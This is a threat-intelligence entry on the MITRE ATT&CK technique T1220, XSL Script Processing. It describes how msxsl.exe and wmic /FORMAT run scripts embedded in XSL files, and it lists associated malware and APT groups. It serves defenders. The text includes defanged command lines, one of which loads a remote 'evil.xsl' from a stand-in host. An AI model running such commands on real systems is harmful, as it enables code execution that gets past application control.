# TTP Detail – T1220

## TTP Information

Name: XSL Script Processing

Description: Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)  
  
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)  
  
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)  
  
\* <code>msxsl.exe customers[.]xml script[.]xsl</code>  
\* <code>msxsl.exe script[.]xsl script[.]xsl</code>  
\* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>  
  
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)  
  
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)  
  
\* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>  
\* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

## Threat-Mapped Scoring

Score: 1.8

Priority: P4 - Informational (Low)

## Kill Chain Phases

**•** mitre-attack: defense-evasion

## Malware

* Astaroth

## APTs (Intrusion Sets)

* Cobalt Group
* Higaisa